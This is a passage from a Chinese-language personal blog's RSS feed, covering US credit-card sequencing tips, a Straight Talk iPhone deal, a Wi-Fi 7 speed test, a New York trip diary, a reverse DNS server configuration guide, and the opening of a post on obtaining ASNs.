&lt;p&gt;开立 Checking Account 之后，存几千刀之后，直接申请 CFU，基本肯定会批。&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.uscreditcardguide.com/chase-freedom-unlimited/&quot;&gt;Chase Freedom Unlimited&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;第二张卡 - Discover It&lt;/h3&gt;
&lt;p&gt;这张卡和 CFU 可以同时提交申请，基本上也一定会批。&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.uscreditcardguide.com/discover-it/&quot;&gt;Discover It&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;第三张卡 - Amex Blue Cash Everyday&lt;/h3&gt;
&lt;p&gt;上述两张卡申请下来 2-3 个月之后，基本上就可以申请 Amex BCE。&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.uscreditcardguide.com/blue-cash-everyday/&quot;&gt;Amex Blue Cash Everyday&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;第四张卡 - Amex Hilton Honors&lt;/h3&gt;
&lt;p&gt;这个卡我就不解释了，个人觉得开卡奖励很不错，是必申请的一张卡。当然因为 Discover 也是无 FTF 的，如果只是为了无 FTF 的话，可以考虑不申请这张卡。&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.uscreditcardguide.com/amex-hilton/&quot;&gt;Amex Hilton Honors&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;第五张卡 - Chase Sapphire Preferred&lt;/h3&gt;
&lt;p&gt;如果你愿意等的话，可以在 5/24 之前拿到 CSP。&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.uscreditcardguide.com/chase-sapphire-preferred/&quot;&gt;Chase Sapphire Preferred&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;第六张卡 - Apple Card&lt;/h3&gt;
&lt;p&gt;Apple Card 的审核也比较玄学，具体批卡的要求不是很明确。建议信用记录至少六个月，持有的卡片不要太多，每个月申请一次试试。&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.uscreditcardguide.com/apple-card/&quot;&gt;Apple Card&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;后续&lt;/h3&gt;
&lt;p&gt;后续就是随便申请了，但是不建议申请 Capital One 的卡，因为会留下三个 Hard Pull，会直接让你的信用分降低。&lt;/p&gt;
&lt;h2&gt;我目前持有的卡&lt;/h2&gt;
&lt;p&gt;按照申请的顺序：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Bank of America 321&lt;/li&gt;
&lt;li&gt;Bank of America Travel Rewards&lt;/li&gt;
&lt;li&gt;Chase Freedom Rise (Closed)&lt;/li&gt;
&lt;li&gt;Chase Freedom Unlimited&lt;/li&gt;
&lt;li&gt;Discover It&lt;/li&gt;
&lt;li&gt;Amex Blue Cash Everyday (Closed)&lt;/li&gt;
&lt;li&gt;Amex Hilton Honors&lt;/li&gt;
&lt;li&gt;HSBC Premier Mastercard&lt;/li&gt;
&lt;li&gt;Apple Card&lt;/li&gt;
&lt;li&gt;Amex Platinum&lt;/li&gt;
&lt;li&gt;Amex Blue Cash Preferred (Upgraded from BCE)&lt;/li&gt;
&lt;li&gt;Amex Gold&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;总结&lt;/h2&gt;
&lt;p&gt;以上申请卡的前后顺序仅供参考，个人非常推荐 Amex 的 BCE 和 Hilton，是无年费卡中不错的选择。另外建议在申请的时候让朋友 Refer 你，双方都可以拿到开卡奖励。如果你是 SSN 用户并不建议申请 321 来占用 5/24 的名额，当然 3% Cash Back 还可以。如果你不是 ITIN 用户，并不建议申请任何 Capital One 的卡。&lt;/p&gt;
</content:encoded></item><item><title>Straight Talk 2024 Purchase Guide</title><link>https://missuo.me/posts/straight-talk-2024/</link><guid isPermaLink="true">https://missuo.me/posts/straight-talk-2024/</guid><description>A 2024 Black Friday deal guide for the $199 Straight Talk iPhone 13 at Walmart, including carrier lock unlocking after 60 days and tips for maximizing Chase credit card cashback.</description><pubDate>Fri, 15 Nov 2024 17:00:42 GMT</pubDate><content:encoded>&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/202411159Fu1Sc.png&quot; alt=&quot;202411159Fu1Sc&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Straight Talk 的活动是一年一次，每年大概都在黑五前夕开始。去年 Straight Talk 的活动是 iPhone SE 3，由于上车有点晚，官网已经不让下单。无奈跑了好几家 Walmart 才上车 6 台。今天是今年活动的第一天，线上还可以下单，建议直接冲爆。与去年不同的是如果你想去 Apple Store Trade-in，今年这款不是个好的选择，因为只有 $250！&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;$199 是 iPhone 13 128G 的价格（只有黑色有货）&lt;/li&gt;
&lt;li&gt;$45 是一个月套餐的价格（必须购买套餐，去年线下可以叠加 $ 35，只要工作人员愿意给你操作，今年未知，线上必须是 $45 起的套餐）&lt;/li&gt;
&lt;li&gt;Tax 取决于你所在的州，转运仓库一般都在免税州，但是有很大砍单风险（可能直接下单失败）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;购买链接：&lt;a href=&quot;https://www.straighttalk.com/all-phones/apple-iphone-13-128-gb.black&quot;&gt;https://www.straighttalk.com/all-phones/apple-iphone-13-128-gb.black&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;关于有锁的问题，Straight Talk 是 Verizon 旗下的运营商，60 天自动解锁，按照去年的经验，仅需支付第一个月的 $45 之后一直放着满 60 天即可，今年应该也是，所以不用担心有锁这个问题。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;如果你刚好有 Chase 的卡，请一定要用 Chase 的 Credit Card 支付，今天有 25% 的 Cash Back，今天截止！最高 $15！&lt;/strong&gt; &lt;a href=&quot;https://x.com/Koori_Moe/status/1857462442244063741&quot;&gt;Source&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;值得一提的是，美版 iPhone 13 是单实体卡，单 eSIM，如果你刚好用的是 14 以上美版 iPhone，作为备用机插国内卡是个不错的选择。&lt;/p&gt;
&lt;p&gt;如果线上不能购买（卖完）的情况下，可以去 Walmart 参与一样的活动，但是按照我去年的经验，在 Walmart 门店必须 Wireless 工作人员在的时候才可以购买，另外很多门店为了积攒黑五的业绩，可能在黑五之前是不可能卖给你的，他会告诉你没货了，到黑五才会补货。&lt;/p&gt;
</content:encoded></item><item><title>iPhone 16 Pro Wi-Fi 7 Speed Test</title><link>https://missuo.me/posts/iphone-wifi7/</link><guid isPermaLink="true">https://missuo.me/posts/iphone-wifi7/</guid><description>Wi-Fi 7 speed testing on iPhone 16 Pro showing disappointing 1.4Gbps max throughput due to 160MHz limitation instead of 320MHz, with notes on China&apos;s continued restriction of the 6GHz band.</description><pubDate>Sun, 27 Oct 2024 21:36:45 GMT</pubDate><content:encoded>&lt;p&gt;今年的 iPhone 16 Pro 首次支持了 Wi-Fi 7，刚好有一台 Mac Studio 支持 10G。做了这期 iPhone 16 Pro 的 Wi-Fi 7 速度测试。&lt;/p&gt;
&lt;h2&gt;测试设备&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;iPhone 16 Pro (US Version)&lt;/li&gt;
&lt;li&gt;TP-Link BE63/BE10000 (US Version)&lt;/li&gt;
&lt;li&gt;UniFi Cloud Gateway Max (US Version)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;测试工具&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/esnet/iperf&quot;&gt;iperf3&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://apps.apple.com/us/app/iperf-speed-test-tool/id951598770&quot;&gt;iPerf - Speed Test Tool&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;测试&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;TP-Link BE63&lt;/strong&gt; 作为 AP，直接与 &lt;strong&gt;UCG-Max&lt;/strong&gt; 相连。&lt;strong&gt;Mac Studio&lt;/strong&gt; 与 &lt;strong&gt;UCG-Max&lt;/strong&gt; 直接相连，&lt;strong&gt;iPhone 16 Pro&lt;/strong&gt; 通过 Wi-Fi 7 (6Ghz) 与 &lt;strong&gt;TP-Link BE63&lt;/strong&gt; 相连。测试 &lt;strong&gt;iPhone 16 Pro&lt;/strong&gt; 与 &lt;strong&gt;Mac Studio&lt;/strong&gt; 之间的速度。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20241027Rdvwct.png&quot; alt=&quot;20241027Rdvwct&quot; /&gt;&lt;/p&gt;
&lt;p&gt;通过 UniFi 的 Dashboard 可以看到 &lt;strong&gt;Mac Studio&lt;/strong&gt; 和 &lt;strong&gt;TP-Link BE63&lt;/strong&gt; 都已经成功协商 2.5GbE 连接。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20241027e90iJo.jpg&quot; alt=&quot;20241027e90iJo&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;iPhone 16 Pro&lt;/strong&gt; 已经成功连接上 6Ghz。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20241027PUqT8y.jpg&quot; alt=&quot;20241027PUqT8y&quot; /&gt;&lt;/p&gt;
&lt;p&gt;提示了 Limited Compatibility，说是会影响某些体验，例如 AirPlay。&lt;/p&gt;
&lt;h3&gt;Mac Studio 作为 Server&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20241027tusdGJ.png&quot; alt=&quot;20241027tusdGJ&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20241027grqAt0.PNG&quot; alt=&quot;20241027grqAt0&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;iPhone 16 Pro 作为 Server&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20241027eFpOTt.png&quot; alt=&quot;20241027eFpOTt&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/202410271zgwg8.PNG&quot; alt=&quot;202410271zgwg8&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;省流&lt;/h2&gt;
&lt;p&gt;iPhone 16 Pro 的 Wi-Fi 7 在 6Ghz 最高只能跑出 1.4Gbps 左右。&lt;/p&gt;
&lt;h2&gt;总结&lt;/h2&gt;
&lt;p&gt;遗憾的是即使是美版的 iPhone 16 Pro 在 6Ghz 下也并不支持 320Mhz，最高只能在 160Mhz。速度表现相当一般，并没有发挥出 Wi-Fi 7 该有的水平。跟 Wi-Fi 6E 差距并不大。当然，更遗憾的是即使未来 Wi-Fi 8 时代到来的时候，中国大陆依然会是“残血版”。从 Wi-Fi 6E 开始，Wi-Fi 7 和 Wi-Fi 8 在中国大陆都不能够使用 6Ghz。&lt;/p&gt;
&lt;p&gt;我觉得完全没有必要把 AP 从 Wi-Fi 6 更新到 Wi-Fi 7，原因是即使更新了并不能跑到该有的速度。&lt;/p&gt;
</content:encoded></item><item><title>Trip to New York in October 2024</title><link>https://missuo.me/posts/nyc-oct-2024/</link><guid isPermaLink="true">https://missuo.me/posts/nyc-oct-2024/</guid><description>A photo-documented trip to NYC and Six Flags Great Adventure via Spirit Airlines, including tips on NJ Transit, LIRR, driving in Manhattan, and reflections on reconnecting with an old friend.</description><pubDate>Thu, 17 Oct 2024 03:31:37 GMT</pubDate><content:encoded>&lt;p&gt;这一篇主要记录我在 2024 年 10 月在纽约的旅行。严格意义上来说，这是第二次去纽约，第一次是 2023 年 11 月，第二次是夏威夷飞匹兹堡的航班被改成了纽约 JFK 中转，但是我连机场都没出。还有一次是没赶上飞机。&lt;/p&gt;
&lt;h2&gt;机票&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20241016rfPzkI.jpeg&quot; alt=&quot;20241016rfPzkI&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这次选择了精神航空，价格是相当便宜，来回仅需 571 人民币。上一次也是买了精神航空，来回 100 刀左右，可惜没赶上。所以这也算是我的精神航空初体验。去程买了 Wi-Fi，花费 7.99 美元，速度还可以，至少聊微信和刷抖音没什么问题。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;PIT - EWR (Airbus A320 N623NK)&lt;/li&gt;
&lt;li&gt;LGA - PIT (Airbus A321 N679NK)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;对于坐惯了经济舱的我来说，我感觉舒适度还可以，比春秋航空舒服很多。对于被吐槽最多的精神航空的行李问题，之前有看到说，如果你的背包过大，可能会被收取 100 美元的费用。我这一次来回的经验是他们好像似乎根本不管你的背包多大或者多重，只要不是行李箱就没问题。&lt;/p&gt;
&lt;h2&gt;抵达 EWR&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20241016ZAfZAE.jpeg&quot; alt=&quot;20241016ZAfZAE&quot; /&gt;&lt;/p&gt;
&lt;p&gt;在飞机上看到的夜景。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20241016aUGNyN.jpeg&quot; alt=&quot;20241016aUGNyN&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20241016xiWq4E.jpeg&quot; alt=&quot;20241016xiWq4E&quot; /&gt;&lt;/p&gt;
&lt;p&gt;由于当天太晚，打算在 NJ 住一晚。打车前往 EWR 附近的酒店，这次住的是 Hilton 的 Hampton。我提前在 Hilton App 上定好了房间。但是似乎无法生成 Digital Key，所以还是需要到前台 Check-in。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20241016JHcLn4.jpeg&quot; alt=&quot;20241016JHcLn4&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20241017HH9PGg.jpeg&quot; alt=&quot;20241017HH9PGg&quot; /&gt;&lt;/p&gt;
&lt;p&gt;到了前台办完入住之后，我刷卡房卡进入房间，发现床上被子是被掀开的，毛巾也有被使用过，这我才意识到为什么无法生成 Digital Key，并且提示我房间准备好之后才会生成。这也就是上面我为什么拥有两个房间号的原因。在和前台说明之后，他们给我换了一个房间。当然对于这个很不靠谱的问题，我已经向 Hilton 官方反映，已经收到的邮件是 3 天之后会有回复。&lt;/p&gt;
&lt;h2&gt;抵达 Manhattan&lt;/h2&gt;
&lt;p&gt;从 Elizabeth, NJ 前往 Times Square 非常方便。我乘坐了 115 NJ Transit 直达 Port Authority Bus Terminal。而 Port Authority Bus Terminal 出来就是 8th Ave 和 42nd St。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20241016HdsEJm.jpeg&quot; alt=&quot;20241016HdsEJm&quot; /&gt;&lt;/p&gt;
&lt;p&gt;下了车电梯进入 Port Authority Bus Terminal。然后准备从 8th Ave 的门出去。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20241016daYWXS.jpeg&quot; alt=&quot;20241016daYWXS&quot; /&gt;&lt;/p&gt;
&lt;p&gt;出来就看到了 42nd St 上熟悉的 McDonald&apos;s。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20241017ikRszX.jpeg&quot; alt=&quot;20241017ikRszX&quot; /&gt;&lt;/p&gt;
&lt;p&gt;和朋友一起去打卡了 Ten Thousand Coffee (&lt;a href=&quot;https://maps.app.goo.gl/yZXRr1Djh6RSWJiLA&quot;&gt;1410 Broadway Unit 105, New York, NY 10018&lt;/a&gt;)。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/202410170EJOih.jpeg&quot; alt=&quot;202410170EJOih&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20241017HoadKm.jpeg&quot; alt=&quot;20241017HoadKm&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/202410175QoGvl.jpeg&quot; alt=&quot;202410175QoGvl&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20241017QTNbMT.jpeg&quot; alt=&quot;20241017QTNbMT&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20241017i3vGhl.jpeg&quot; alt=&quot;20241017i3vGhl&quot; /&gt;&lt;/p&gt;
&lt;p&gt;晚饭预约了一家日本餐厅 TOWA (&lt;a href=&quot;https://maps.app.goo.gl/ahDcNE9psvSfWgJq7&quot;&gt;36 W 26th St, New York, NY 10010&lt;/a&gt;)。&lt;/p&gt;
&lt;h2&gt;出发 Six Flags&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20241017kIXw2e.jpeg&quot; alt=&quot;20241017kIXw2e&quot; /&gt;&lt;/p&gt;
&lt;p&gt;第二天一早，租好车前往 Six Flags Great Adventure New Jersey。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20241017fvWiBf.jpeg&quot; alt=&quot;20241017fvWiBf&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20241017JDKTz0.jpeg&quot; alt=&quot;20241017JDKTz0&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20241017bRpyQF.jpeg&quot; alt=&quot;20241017bRpyQF&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20241017l03Bsj.jpeg&quot; alt=&quot;20241017l03Bsj&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/202410171MMVWR.jpeg&quot; alt=&quot;202410171MMVWR&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20241017Z0uVH2.jpeg&quot; alt=&quot;20241017Z0uVH2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20241017iwJcCi.jpeg&quot; alt=&quot;20241017iwJcCi&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;夜宵&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20241017SGdjOv.jpeg&quot; alt=&quot;20241017SGdjOv&quot; /&gt;&lt;/p&gt;
&lt;p&gt;凌晨三点在 Flushing 吃夜宵，因为 Times Square 附近的烧烤店都关门了。&lt;/p&gt;
&lt;h2&gt;从 LGA 返回 PIT&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20241017T3PzVj.jpeg&quot; alt=&quot;20241017T3PzVj&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20241017aKowzZ.jpeg&quot; alt=&quot;20241017aKowzZ&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20241017kEqJO5.jpeg&quot; alt=&quot;20241017kEqJO5&quot; /&gt;&lt;/p&gt;
&lt;p&gt;LGA 很破的 Terminal A。精神航空真的只有两个安检口，所以效率非常低。建议飞 LGA 廉航的朋友提早去机场。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20241017yctG9h.jpeg&quot; alt=&quot;20241017yctG9h&quot; /&gt;&lt;/p&gt;
&lt;p&gt;提前有了万圣节的装扮。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20241017cTIoGG.jpeg&quot; alt=&quot;20241017cTIoGG&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;感悟&lt;/h2&gt;
&lt;p&gt;这一篇完全是纽约不足三天旅行的流水账。这一次与去年最大的不同是体验了更多的交通工具。如果从 Times Square 附近出发前往 Jamaica (JFK) / Flushing，也许 LIRR 是不错的选择，看好时间表提前在 App 上购买好车票，速度比地铁要快出不少，更重要的是更干净，而且有座位，off-peak 的票价是 5 刀左右，比地铁贵不了多少。&lt;/p&gt;
&lt;p&gt;讲讲在纽约开车的体验，这一次租到的是一辆 Polestar 2，租车公司为 Hertz。在 Times Square 附近开车非常痛苦，很堵而且比较难停车。相比之下，在 NJ 前往 Six Flags 的路上开车非常爽，一路畅通无阻。晚上 Flushing 往返 Manhattan 单程仅需 24 分钟左右，是非常不错的体验，但是早高峰需要 1 个小时以上。&lt;/p&gt;
&lt;p&gt;这一趟旅程主要是见一个从 2014 年认识的朋友，初中和高中的学妹。差不多有五年的时间（从 2019 年高中毕业之后）就再也没见过。8 月刚好看到她来到了纽约开始联系起来。过去其实我不是很喜欢纽约，纽约的街头脏乱差，交通拥堵，物价昂贵。但是比起我在匹兹堡的日子，每天起床不是上课就是在家里一个人呆呆地坐在电脑前一整天的比起来，纽约的朋友似乎能带给我更多的快乐。&lt;/p&gt;
&lt;p&gt;我不知道如果我再选一次，我选择去纽约会发生什么，但是人生不能重走一遍，也许就该是有遗憾的。&lt;/p&gt;
</content:encoded></item><item><title>Deploy Reverse DNS server</title><link>https://missuo.me/posts/reverse-dns-server/</link><guid isPermaLink="true">https://missuo.me/posts/reverse-dns-server/</guid><description>A guide to deploying a Reverse DNS server using the SND project for ARIN-allocated IP addresses, enabling automatic PTR record generation for both IPv4 and IPv6 ranges.</description><pubDate>Mon, 07 Oct 2024 23:57:52 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;大多数情况下我们只会接触 DNS 服务器，也就是正向 DNS 服务器。它的全称是 Domain Name System，主要用于将域名转换为 IP 地址。然而 Reverse DNS 服务器顾名思义，是用于将 IP 地址转换为域名。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;为什么要部署 Reverse DNS 服务器&lt;/h2&gt;
&lt;p&gt;我似乎没有找到公开的 Reverse DNS 服务器，因此唯一的方式就是自己部署一个。在 &lt;a href=&quot;https://www.arin.net&quot;&gt;ARIN&lt;/a&gt; 分配 IP 之后，我需要拥有 Reverse DNS 服务器才可以正常地显示 IP 的 Hostname 信息。&lt;/p&gt;
&lt;h2&gt;部署&lt;/h2&gt;
&lt;p&gt;用到的项目是 &lt;a href=&quot;https://github.com/Jamesits/SND&quot;&gt;https://github.com/Jamesits/SND&lt;/a&gt;，这个名字也很有意思，是把 DNS 反过来！步骤也非常容易，仅需配置一份 &lt;code&gt;config.toml&lt;/code&gt; 文件，然后运行即可。&lt;/p&gt;
&lt;p&gt;以下是作者提供的一份实例文件，提供了多种样式的域名生成方式。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# This is an example config of SND.

listen = [
    # protocol:ip.addr:port
    &quot;tcp::53&quot;,
    &quot;udp::53&quot;,
]

# set to the domain names of your authoritive DNS servers
NS = [
    &quot;ns1.example.com.&quot;,
    &quot;ns2.example.com.&quot;,
]

# use DNS pointer compression
compress_dns_messages = true

# disable querying DNS server version by a DNS request
allow_version_reporting = false
# alternatively, you can fake the version string
# version_string = &quot;bind-⑨&quot;

# This will become the default SOA record for all your networks, unless overrided.
# Make it exactly the same across all servers.
[SOA]
# your primary NS, usually the domain name of one of your NS servers, dot at end
MName = &quot;ns1.example.com.&quot;
# your email in dot notation, dot at end
RName = &quot;dnsmaster.example.com.&quot;
## Optional fields, see Wikipedia for explanation
# Serial = 1970010101
# Refresh = 86400
# Retry = 7200
# Expire = 3600000
# TTL = 172800

# Define your nets here
[[net]]
net = &quot;192.168.1.0/24&quot;
mode = &quot;prefix_ltr&quot;
domain = &quot;example.com&quot;
# Generates &quot;192.168.1.1.example.com.&quot;

[[net]]
net = &quot;192.168.2.0/24&quot;
mode = &quot;prefix_rtl&quot;
domain = &quot;example.com&quot;
# Generates &quot;1.2.168.192.example.com.&quot;

[[net]]
net = &quot;192.168.3.0/24&quot;
mode = &quot;fixed&quot;
domain = &quot;example.com&quot;
# Generates &quot;example.com.&quot;

[[net]]
net = &quot;192.168.4.0/24&quot;
mode = &quot;prefix_ltr&quot;
domain = &quot;example.com&quot;
domain_prefix = &quot;yes.&quot;
# Generates &quot;yes.192.168.4.1.example.com.&quot;
# Note: domain_prefix is applied without any sanity check. Make sure it doesn&apos;t violate the rules.

[[net]]
net = &quot;fd00::/48&quot;
mode = &quot;prefix_ltr&quot;
domain = &quot;example.com&quot;
# Works for IPv6 too! Generates &quot;f.d.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.1.example.com.&quot;

[[net]]
net = &quot;fd00:1::/48&quot;
mode = &quot;prefix_ltr&quot;
domain = &quot;example.com&quot;
ipv6_notation = &quot;four_hexs&quot;
# Default IPv6 notation is too long for you? This generates &quot;fd00.1.0.0.0.0.0.1.example.com.&quot;

[host]
# quick way to generate a static record for a static IP
&quot;10.10.10.10&quot; = &quot;internal10.example.com&quot;
&quot;10.10.10.20&quot; = &quot;internal20.example.com&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我最终选择采用的配置如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Define your nets here
[[net]]
net = &quot;23.191.8.0/24&quot;
mode = &quot;prefix_ltr&quot;
domain = &quot;owo.network&quot;
# Generates &quot;23.191.8.1.owo.network.&quot;

[[net]]
net = &quot;2602:f7ee::/40&quot;
mode = &quot;prefix_ltr&quot;
domain = &quot;owo.network&quot;
ipv6_notation = &quot;four_hexs&quot;
# Generates &quot;2602.f7ee.0.0.0.0.0.1.owo.network.&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;效果&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;~ dig -x 23.191.8.8

; &amp;lt;&amp;lt;&amp;gt;&amp;gt; DiG 9.10.6 &amp;lt;&amp;lt;&amp;gt;&amp;gt; -x 23.191.8.8
;; global options: +cmd
;; Got answer:
;; -&amp;gt;&amp;gt;HEADER&amp;lt;&amp;lt;- opcode: QUERY, status: NOERROR, id: 57608
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 1232
;; QUESTION SECTION:
;8.8.191.23.in-addr.arpa.	IN	PTR

;; ANSWER SECTION:
8.8.191.23.in-addr.arpa. 114510	IN	PTR	23.191.8.8.owo.network.

;; Query time: 1 msec
;; SERVER: 10.0.0.1#53(10.0.0.1)
;; WHEN: Mon Oct 07 19:41:26 EDT 2024
;; MSG SIZE  rcvd: 88
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20241005lfvgsn.png&quot; alt=&quot;20241005lfvgsn&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>My third ASN and IP resource request</title><link>https://missuo.me/posts/my-third-asn/</link><guid isPermaLink="true">https://missuo.me/posts/my-third-asn/</guid><description>The journey of acquiring three ASNs (AS206729, AS60614, AS30700) across RIPE and ARIN, including tips on obtaining rare 2-byte ASNs and IPv4 allocations directly from ARIN at lower costs.</description><pubDate>Sun, 06 Oct 2024 02:47:15 GMT</pubDate><content:encoded>&lt;p&gt;最近我申请到了我的第三个 ASN，并且成功获取到了一些 IPv4 和 IPv6 资源。本文主要介绍我申请 ASN 和 IP 的历程。&lt;/p&gt;
&lt;h2&gt;专有名词&lt;/h2&gt;
&lt;p&gt;在介绍这些之前，有必要科普一些专有名词。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;ASN: Autonomous System Number，自治系统号，用于标识一个自治系统。&lt;/li&gt;
&lt;li&gt;IP: Internet Protocol，互联网协议，包括 IPv4 和 IPv6。&lt;/li&gt;
&lt;li&gt;RIR: Regional Internet Registry，区域互联网注册管理机构，负责分配 IP 资源。&lt;/li&gt;
&lt;li&gt;ARIN: American Registry for Internet Numbers，美国互联网数字注册管理机构。&lt;/li&gt;
&lt;li&gt;APNIC: Asia Pacific Network Information Centre，亚太网络信息中心。&lt;/li&gt;
&lt;li&gt;RIPE: Réseaux IP Européens Network Coordination Centre，欧洲网络协调中心。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;在全世界一共有 5 个 RIR，分别是：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;ARIN: 美国&lt;/li&gt;
&lt;li&gt;RIPE: 欧洲&lt;/li&gt;
&lt;li&gt;APNIC: 亚太 （其中 APNIC 下还有 NIR，例如 CNNIC，TWNIC 等等）&lt;/li&gt;
&lt;li&gt;LACNIC: 拉丁美洲&lt;/li&gt;
&lt;li&gt;AFRINIC: 非洲&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;我的第一个 ASN&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;{
    &quot;asn&quot;: 206729,
    &quot;name&quot;: &quot;VINCENT-NET-AS&quot;,
    &quot;description_short&quot;: &quot;Vincent Yang&quot;,
    &quot;description_full&quot;: [
      &quot;Vincent Yang&quot;
    ],
    &quot;country_code&quot;: &quot;CN&quot;,
    &quot;website&quot;: &quot;https://vincent.moe&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我的第一个 ASN 是在 2022 年 3 月 28 日 申请了，到现在已经有两年多的时间了。当时是通过我台湾的朋友 &lt;a href=&quot;https://hostinginside.com&quot;&gt;AS9678&lt;/a&gt; 向 RIPE 申请的，号码为 &lt;strong&gt;&lt;a href=&quot;https://bgp.tools/as/206729&quot;&gt;AS206729&lt;/a&gt;&lt;/strong&gt;。这个 ASN 是使用我个人的名字申请的，所以属于是实名上网。&lt;/p&gt;
&lt;h2&gt;我的第二个 ASN&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;{
    &quot;asn&quot;: 60614,
    &quot;name&quot;: &quot;OwO-NETWORK&quot;,
    &quot;description_short&quot;: &quot;OwO Network, LLC&quot;,
